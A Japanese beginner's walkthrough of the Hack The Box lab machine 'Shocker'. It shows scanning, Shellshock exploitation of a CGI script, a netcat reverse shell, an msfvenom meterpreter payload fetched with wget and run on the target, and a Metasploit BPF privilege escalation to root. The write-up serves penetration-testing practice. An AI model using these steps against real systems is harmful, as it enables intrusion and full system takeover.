はじめに
筆者は Hack the Box 初心者です。 何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。 さんぽし(@sanpo_shiho) | Twitter
cheat sheet
以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET
machine について
難易度は easy です。
nmap
kali@kali:~$ nmap -A -Pn 10.10.10.56
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 10:06 EST
Nmap scan report for 10.10.10.56
Host is up (0.18s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.98 seconds
80 番ポートをブラウザで見てみる
特に情報はないです
dirbuster を使う
/cgi-bin/
が見つかりました。(アクセスはできませんが。)
CGI とは
http://www5.plala.or.jp/vaio0630/hp/cgi.htm
CGI とは Common Gateway Interface の略で、Web サーバー上でプログラムを使って処理した結果を表示させる機能のことです。
https://www.itmedia.co.jp/help/tips/linux/l0264.html
http サーバ「Apache」の標準設定では,cgi-bin/と名づけられたディレクトリ下でのみ CGI の実行を許可している。
CGI のファイルは拡張子が .sh
, .pl
, .cgi
だそうなので /cgi-bin/
内を探し直します。
dirbuster で CGI のファイルを探す
何か見つかりました。
user.sh を見る
kali@kali:~$ curl http://10.10.10.56/cgi-bin/user.sh
Content-Type: text/plain
Just an uptime test script
10:33:15 up 37 min, 0 users, load average: 0.00, 0.02, 0.00
shellshock について
CGI プログラムには shellshock と呼ばれる有名な exploit があります。 bash に存在する脆弱性 「Shellshock」:「CVE-2014-7169」および「CVE-2014-6271」
以下の資料が仕組みを理解する上でわかりやすかったです。 Shellshock の顛末書(pdf がダウンロードされます)
以下の点を利用して http 経由で shellshock の攻撃を行うことができます。
https://community.digicert.com/ja/blogs.entry.html/2016/05/25/shellshockcve-2014-6271.html
CGI プログラムに対しては、User-Agent など HTTP ヘッダは環境変数経由で渡されます。
shellshock が使えるか調べる
burb を使います。適当に設定して、
リクエストを送ります。
kali@kali:~$ curl http://127.0.0.1:1212/cgi-bin/user.sh
これを repeater に送ります。
そのまま send すると先ほどのレスポンスが返ってきます。
shellshock が使えるかを User-Agent
を書き換えて調べます。
何かエラーが起きてしまいました。shellshock の例として挙げられているコマンドでは大体 echo;
が一度間に挟まっていたのでいれてみます。
成功しました。test が出力されています。
echo を挟む必要があったのは Header と Body の間に改行を入れないといけないからっぽいです。
ping してみる
tcpdump を使ってみたかったので試します。
kali@kali:~$ sudo tcpdump -i tun0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
11:03:06.965319 IP 10.10.14.13.59386 > 10.10.10.56.http: Flags [S], seq 2312320610, win 64240, options [mss 1460,sackOK,TS val 2500169298 ecr 0,nop,wscale 7], length 0
11:03:07.143230 IP 10.10.10.56.http > 10.10.14.13.59386: Flags [S.], seq 202642377, ack 2312320611, win 28960, options [mss 1357,sackOK,TS val 952199 ecr 2500169298,nop,wscale 6], length 0
11:03:07.143283 IP 10.10.14.13.59386 > 10.10.10.56.http: Flags [.], ack 1, win 502, options [nop,nop,TS val 2500169476 ecr 952199], length 0
11:03:07.143419 IP 10.10.14.13.59386 > 10.10.10.56.http: Flags [P.], seq 1:134, ack 1, win 502, options [nop,nop,TS val 2500169476 ecr 952199], length 133: HTTP: GET /cgi-bin/user.sh HTTP/1.1
11:03:07.322693 IP 10.10.10.56.http > 10.10.14.13.59386: Flags [.], ack 134, win 470, options [nop,nop,TS val 952244 ecr 2500169476], length 0
11:03:07.462629 IP 10.10.10.56.http > 10.10.14.13.59386: Flags [P.], seq 1:152, ack 134, win 470, options [nop,nop,TS val 952278 ecr 2500169476], length 151: HTTP: HTTP/1.1 200 OK
11:03:07.462712 IP 10.10.14.13.59386 > 10.10.10.56.http: Flags [.], ack 152, win 501, options [nop,nop,TS val 2500169795 ecr 952278], length 0
11:03:07.462813 IP 10.10.10.56.http > 10.10.14.13.59386: Flags [F.], seq 152, ack 134, win 470, options [nop,nop,TS val 952278 ecr 2500169476], length 0
11:03:07.463741 IP 10.10.14.13.59386 > 10.10.10.56.http: Flags [F.], seq 134, ack 153, win 501, options [nop,nop,TS val 2500169796 ecr 952278], length 0
11:03:07.640713 IP 10.10.10.56.http > 10.10.14.13.59386: Flags [.], ack 135, win 470, options [nop,nop,TS val 952323 ecr 2500169796], length 0
^C
10 packets captured
10 packets received by filter
0 packets dropped by kernel
reverseshell をとる
するっと取れました。
kali@kali:~$ nc -lvnp 1616
listening on [any] 1616 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.56] 57580
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ cd /home/shelly
cd /home/shelly
shelly@Shocker:/home/shelly$ cat user.txt
user.txt を取れました。
meterpreter に繋ぎたい
msfvenom を使って meterpreter につなぐためのコードを作り、python の SimpleHTTPServer を起動します。
kali@kali:~$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.13 LPORT=1313 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
kali@kali:~$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
別で mefconsole を起動しておきます
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > set lhost 10.10.14.13
lhost => 10.10.14.13
msf5 exploit(multi/handler) > set lport 1313
lport => 1313
msf5 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.13 yes The listen address (an interface may be specified)
LPORT 1313 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/handler) >
[*] Started reverse TCP handler on 10.10.14.13:1313
先ほどの reverseshell から
shelly@Shocker:/home/shelly$ wget http://10.10.14.13:8000/shell.elf
wget http://10.10.14.13:8000/shell.elf
--2020-02-27 12:07:09-- http://10.10.14.13:8000/shell.elf
Connecting to 10.10.14.13:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 207 [application/octet-stream]
Saving to: 'shell.elf'
0K 100% 32.0M=0s
2020-02-27 12:07:10 (32.0 MB/s) - 'shell.elf' saved [207/207]
shelly@Shocker:/home/shelly$ chmod 700 shell.elf
chmod 700 shell.elf
shelly@Shocker:/home/shelly$ ./shell.elf
./shell.elf
これで msfconsole 側を見てみると反応が返ってきています。
[*] Meterpreter session 1 opened (10.10.14.13:1313 -> 10.10.10.56:39484) at 2020-02-27 11:41:24 -0500
msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
suggester を使う
reverseshell をとって何をすれば良いか分からなかったので、suggester を使いたくてわざわざ meterpreter に繋ぎ直しました。
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > search suggester
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester
msf5 exploit(multi/handler) > use 0
msf5 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf5 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits
msf5 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.56 - Collecting local exploits for x86/linux...
[*] 10.10.10.56 - 34 exploit checks are being tried...
[+] 10.10.10.56 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.
[+] 10.10.10.56 - exploit/linux/local/glibc_realpath_priv_esc: The target appears to be vulnerable.
[+] 10.10.10.56 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[*] Post module execution completed
suggest された exploit を使う
msf5 post(multi/recon/local_exploit_suggester) > search exploit/linux/local/bpf_sign_extension_priv_esc
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/local/bpf_sign_extension_priv_esc 2017-11-12 great Yes Linux BPF Sign Extension Local Privilege Escalation
msf5 post(multi/recon/local_exploit_suggester) > use 0
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > options
Module options (exploit/linux/local/bpf_sign_extension_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION yes The session to run this module on.
Exploit target:
Id Name
-- ----
0 Auto
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run
[*] Started reverse TCP handler on 10.0.3.15:4444
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > options
Module options (exploit/linux/local/bpf_sign_extension_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION 1 yes The session to run this module on.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.3.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set lhost 10.10.14.13
lhost => 10.10.14.13
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run
[*] Started reverse TCP handler on 10.10.14.13:4444
[*] Writing '/tmp/.o6n64nkI' (34784 bytes) ...
[*] Writing '/tmp/.NNAJke2W' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (985320 bytes) to 10.10.10.56
[*] Cleaning up /tmp/.NNAJke2W and /tmp/.o6n64nkI ...
[*] Meterpreter session 2 opened (10.10.14.13:4444 -> 10.10.10.56:52842) at 2020-02-27 11:56:36 -0500
meterpreter > shell
Process 1882 created.
Channel 1 created.
whoami
root
pwd
/home/shelly
cd /root
ls
root.txt
cat root.txt
root が取れました。
終わりに
今回は他の人の writeup を見ずに root までいけました。 (実は完全に見なかったのは初めて) これからも精進します!
他の方法
https://xd3m0n.xyz/htb_shocker/
sudo -l
でperl
を password なしで root 権限で使えることを見つけてそこから攻めてる. スマート